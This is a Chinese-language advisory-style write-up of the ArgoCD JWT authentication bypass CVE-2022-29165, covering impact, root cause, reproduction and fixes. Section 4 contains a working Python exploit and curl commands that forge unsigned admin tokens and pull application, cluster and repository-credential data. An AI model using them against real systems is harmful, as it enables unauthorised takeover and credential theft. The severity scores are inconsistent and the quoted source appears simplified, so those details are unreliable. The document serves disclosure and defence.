一、漏洞简介

1.1 漏洞背景

ArgoCD 是一个用于 Kubernetes 的声明式 GitOps 持续交付工具。在 2022 年 5 月,安全研究人员发现了一个严重的身份验证绕过漏洞,允许未授权用户冒充任何 ArgoCD 用户或角色,包括管理员账户。

1.2 漏洞概述(包含 CVE 编号、危害等级、漏洞类型、披露时间等)

项目 内容
漏洞编号 CVE-2022-29165
危害等级 CRITICAL / 10.0
漏洞类型 JWT 认证绕过漏洞
披露时间 2022-05-20
影响组件 ArgoCD
  • CVE编号: CVE-2022-29165
  • 危害等级: 严重(Critical)
  • CVSS评分: 9.8 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
  • 漏洞类型: 认证绕过(Authentication Bypass)

补充核验信息:公开时间:2022-05-20;NVD 评分:10.0(CRITICAL);CWE:CWE-200。

二、影响范围

2.1 受影响的版本

  • ArgoCD >= 1.4.0 且 < 2.1.15
  • ArgoCD >= 2.2.0 且 < 2.2.9
  • ArgoCD >= 2.3.0 且 < 2.3.4

2.2 不受影响的版本

  • ArgoCD >= 2.1.15
  • ArgoCD >= 2.2.9
  • ArgoCD >= 2.3.4
  • ArgoCD < 1.4.0

2.3 触发条件(如特定模块、特定配置、特定运行环境等)

  1. 必须启用匿名访问:只有当 ArgoCD 实例启用了匿名访问功能时,漏洞才可被利用
  2. 网络可达性:攻击者必须能够访问 ArgoCD API 服务端点
  3. 构造恶意 JWT:攻击者需要构造特制的 JSON Web Token

默认安装的 ArgoCD 禁用了匿名访问,因此默认配置不受此漏洞影响。

三、漏洞详情与原理解析

3.1 漏洞触发机制

当 ArgoCD 启用了匿名访问时,JWT 令牌验证逻辑存在缺陷。攻击者可以构造一个包含任意声明的 JWT 令牌,即使该令牌未经过有效签名验证,ArgoCD 也会信任其中的用户身份信息。

漏洞触发流程

1. 攻击者构造恶意 JWT 令牌
   
2. 在请求中携带该令牌访问 ArgoCD API
   
3. ArgoCD 未正确验证令牌签名
   
4. 信任令牌中的用户/角色声明
   
5. 授予攻击者相应权限包括管理员权限

3.2 源码层面的根因分析(结合源码与补丁对比)

受影响的代码路径

// server/session/sessionmanager.go (漏洞版本)

func (s *SessionManager) VerifyToken(token string) (jwt.MapClaims, error) {
    // 漏洞点:当匿名访问启用时,未严格验证 JWT 签名
    if s.anonymousEnabled {
        // 错误:允许未经验证的声明
        claims := jwt.MapClaims{
            "iss": "argocd",
            "sub": token, // 直接使用 token 作为 subject
            "exp": time.Now().Add(s.expiry).Unix(),
        }
        return claims, nil
    }

    // 正常验证逻辑
    parsed, err := jwt.Parse(token, func(t *jwt.Token) (interface{}, error) {
        return s.secretKey, nil
    })
    // ...
}

根本原因

  1. 签名验证缺失:在匿名访问模式下,JWT 签名验证被绕过
  2. 声明信任过度:直接信任令牌中的用户身份声明而不验证其真实性
  3. RBAC 绕过:攻击者可以指定任意用户或角色,包括 admin

攻击载荷示例

{
  "alg": "none",
  "typ": "JWT"
}
{
  "iss": "argocd",
  "sub": "admin",
  "exp": 9999999999,
  "iat": 1234567890,
  "groups": ["system:admin"]
}

四、漏洞复现(可选)

4.1 环境搭建

步骤 1:部署易受攻击的 ArgoCD 版本

# 创建命名空间
kubectl create namespace argocd

# 部署 ArgoCD v2.3.3(易受攻击版本)
kubectl apply -n argocd -f https://raw.githubusercontent.com/argoproj/argo-cd/v2.3.3/manifests/install.yaml

# 等待部署完成
kubectl wait --for=condition=available --timeout=600s deployment/argocd-server -n argocd

步骤 2:启用匿名访问

# 获取当前配置
kubectl get configmap argocd-cm -n argocd -o yaml

# 启用匿名访问(触发漏洞的前提条件)
kubectl patch configmap argocd-cm -n argocd --type merge -p '
data:
  users.anonymous.enabled: "true"
'

# 验证配置
kubectl get configmap argocd-cm -n argocd -o jsonpath='{.data.users\.anonymous\.enabled}'

步骤 3:暴露服务

# 端口转发
kubectl port-forward svc/argocd-server -n argocd 8080:443 &

# 或使用 NodePort/LoadBalancer
kubectl patch svc argocd-server -n argocd -p '{"spec": {"type": "LoadBalancer"}}'

4.2 PoC 演示与测试过程

方法 1:使用恶意 JWT 令牌

#!/usr/bin/env python3
# exploit_cve_2022_29165.py

import requests
import base64
import json
import time

def create_malicious_jwt(username="admin", groups=None):
    """构造恶意的 JWT 令牌"""
    if groups is None:
        groups = ["system:admin"]

    # Header (使用 alg=none 绕过签名验证)
    header = {
        "alg": "none",
        "typ": "JWT"
    }

    # Payload
    payload = {
        "iss": "argocd",
        "sub": username,
        "exp": int(time.time()) + 3600,
        "iat": int(time.time()),
        "groups": groups
    }

    # Base64 编码
    header_b64 = base64.urlsafe_b64encode(json.dumps(header).encode()).decode().rstrip('=')
    payload_b64 = base64.urlsafe_b64encode(json.dumps(payload).encode()).decode().rstrip('=')

    # 构造令牌 (无签名)
    token = f"{header_b64}.{payload_b64}."

    return token

def exploit_argocd(target_url):
    """利用漏洞获取管理员访问权限"""

    # 创建恶意令牌
    token = create_malicious_jwt("admin", ["system:admin"])

    # 设置请求头
    headers = {
        "Authorization": f"Bearer {token}",
        "Content-Type": "application/json"
    }

    # 测试 1:获取应用程序列表
    print("[*] 尝试以管理员身份获取应用程序列表...")
    response = requests.get(
        f"{target_url}/api/v1/applications",
        headers=headers,
        verify=False
    )

    if response.status_code == 200:
        print("[+] 成功获取管理员权限!")
        print(f"[+] 应用程序列表: {json.dumps(response.json(), indent=2)}")
    else:
        print(f"[-] 失败: {response.status_code} - {response.text}")

    # 测试 2:获取集群信息
    print("\n[*] 尝试获取集群信息...")
    response = requests.get(
        f"{target_url}/api/v1/clusters",
        headers=headers,
        verify=False
    )

    if response.status_code == 200:
        print("[+] 集群信息: ", json.dumps(response.json(), indent=2))

    # 测试 3:获取仓库信息
    print("\n[*] 尝试获取 Git 仓库凭据...")
    response = requests.get(
        f"{target_url}/api/v1/repositories",
        headers=headers,
        verify=False
    )

    if response.status_code == 200:
        print("[+] 仓库信息: ", json.dumps(response.json(), indent=2))

if __name__ == "__main__":
    import urllib3
    urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

    target = "https://localhost:8080"
    exploit_argocd(target)

执行 PoC

# 安装依赖
pip3 install requests

# 运行漏洞利用脚本
python3 exploit_cve_2022_29165.py

方法 2:使用 curl 直接测试

# 构造恶意 JWT
TOKEN=$(echo -n '{"alg":"none","typ":"JWT"}' | base64 | tr -d '=' | tr '/+' '_-' | tr -d '\n')
TOKEN="$TOKEN.$(echo -n '{"iss":"argocd","sub":"admin","groups":["system:admin"]}' | base64 | tr -d '=' | tr '/+' '_-' | tr -d '\n')."

# 发送恶意请求
curl -k -H "Authorization: Bearer $TOKEN" \
  https://localhost:8080/api/v1/applications

# 成功则返回应用程序列表,证明获得管理员权限

预期结果

{
  "metadata": {
    "resourceVersion": "12345"
  },
  "items": [
    {
      "metadata": {
        "name": "guestbook",
        "namespace": "argocd"
      },
      "spec": {
        "source": {
          "repoURL": "https://github.com/argoproj/argocd-example-apps.git",
          "path": "guestbook"
        },
        "destination": {
          "server": "https://kubernetes.default.svc",
          "namespace": "default"
        }
      }
    }
  ]
}

五、修复建议与缓解措施

5.1 官方版本升级建议

立即升级到以下已修复版本

# 升级到 v2.3.4 或更高版本
kubectl set image deployment/argocd-server \
  argocd-server=argoproj/argocd:v2.3.4 \
  -n argocd

# 或升级到 v2.2.9
kubectl set image deployment/argocd-server \
  argocd-server=argoproj/argocd:v2.2.9 \
  -n argocd

# 或升级到 v2.1.15
kubectl set image deployment/argocd-server \
  argocd-server=argoproj/argocd:v2.1.15 \
  -n argocd

修复代码示例(v2.3.4):

// server/session/sessionmanager.go (修复后)

func (s *SessionManager) VerifyToken(token string) (jwt.MapClaims, error) {
    // 修复:即使启用匿名访问,也必须验证令牌
    // 匿名用户不再从 JWT 中获取身份

    // 验证令牌签名
    parsed, err := jwt.Parse(token, func(t *jwt.Token) (interface{}, error) {
        // 验证签名算法
        if _, ok := t.Method.(*jwt.SigningMethodHMAC); !ok {
            return nil, fmt.Errorf("unexpected signing method: %v", t.Header["alg"])
        }
        return s.secretKey, nil
    })

    if err != nil {
        return nil, err
    }

    claims, ok := parsed.Claims.(jwt.MapClaims)
    if !ok {
        return nil, fmt.Errorf("invalid claims")
    }

    // 验证必需的声明
    if err := claims.Valid(); err != nil {
        return nil, err
    }

    // 修复:验证签发者
    if iss, ok := claims["iss"].(string); !ok || iss != "argocd" {
        return nil, fmt.Errorf("invalid issuer")
    }

    return claims, nil
}

5.2 临时缓解方案(如修改配置文件、关闭相关模块、增加 WAF 规则等)

如果无法立即升级,采取以下措施

方案 1:禁用匿名访问

# 检查是否启用了匿名访问
kubectl get configmap argocd-cm -n argocd \
  -o jsonpath='{.data.users\.anonymous\.enabled}'

# 如果返回 "true",立即禁用
kubectl patch configmap argocd-cm -n argocd --type=json \
  -p='[{"op": "add", "path": "/data/users.anonymous.enabled", "value": "false"}]'

# 或删除该配置(默认为 false)
kubectl patch configmap argocd-cm -n argocd --type=json \
  -p='[{"op": "remove", "path": "/data/users.anonymous.enabled"}]'

方案 2:限制网络访问

# network-policy.yaml - 限制 ArgoCD 访问
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
  name: argocd-network-policy
  namespace: argocd
spec:
  podSelector:
    matchLabels:
      app.kubernetes.io/name: argocd-server
  policyTypes:
  - Ingress
  ingress:
  - from:
    # 仅允许特定命名空间的访问
    - namespaceSelector:
        matchLabels:
          name: admin-namespace
    # 或特定 IP 段
    - ipBlock:
        cidr: 10.0.0.0/8
    ports:
    - protocol: TCP
      port: 8080
kubectl apply -f network-policy.yaml

方案 3:启用审计日志

# 启用审计日志以检测攻击
kubectl patch configmap argocd-cm -n argocd --type merge -p '
data:
  audit.enabled: "true"
  audit.log.level: "info"
'

# 监控异常登录行为
kubectl logs -f deployment/argocd-server -n argocd | grep -i "authentication\|authorization"

六、参考信息 / 参考链接

6.1 官方安全通告

6.2 其他技术参考资料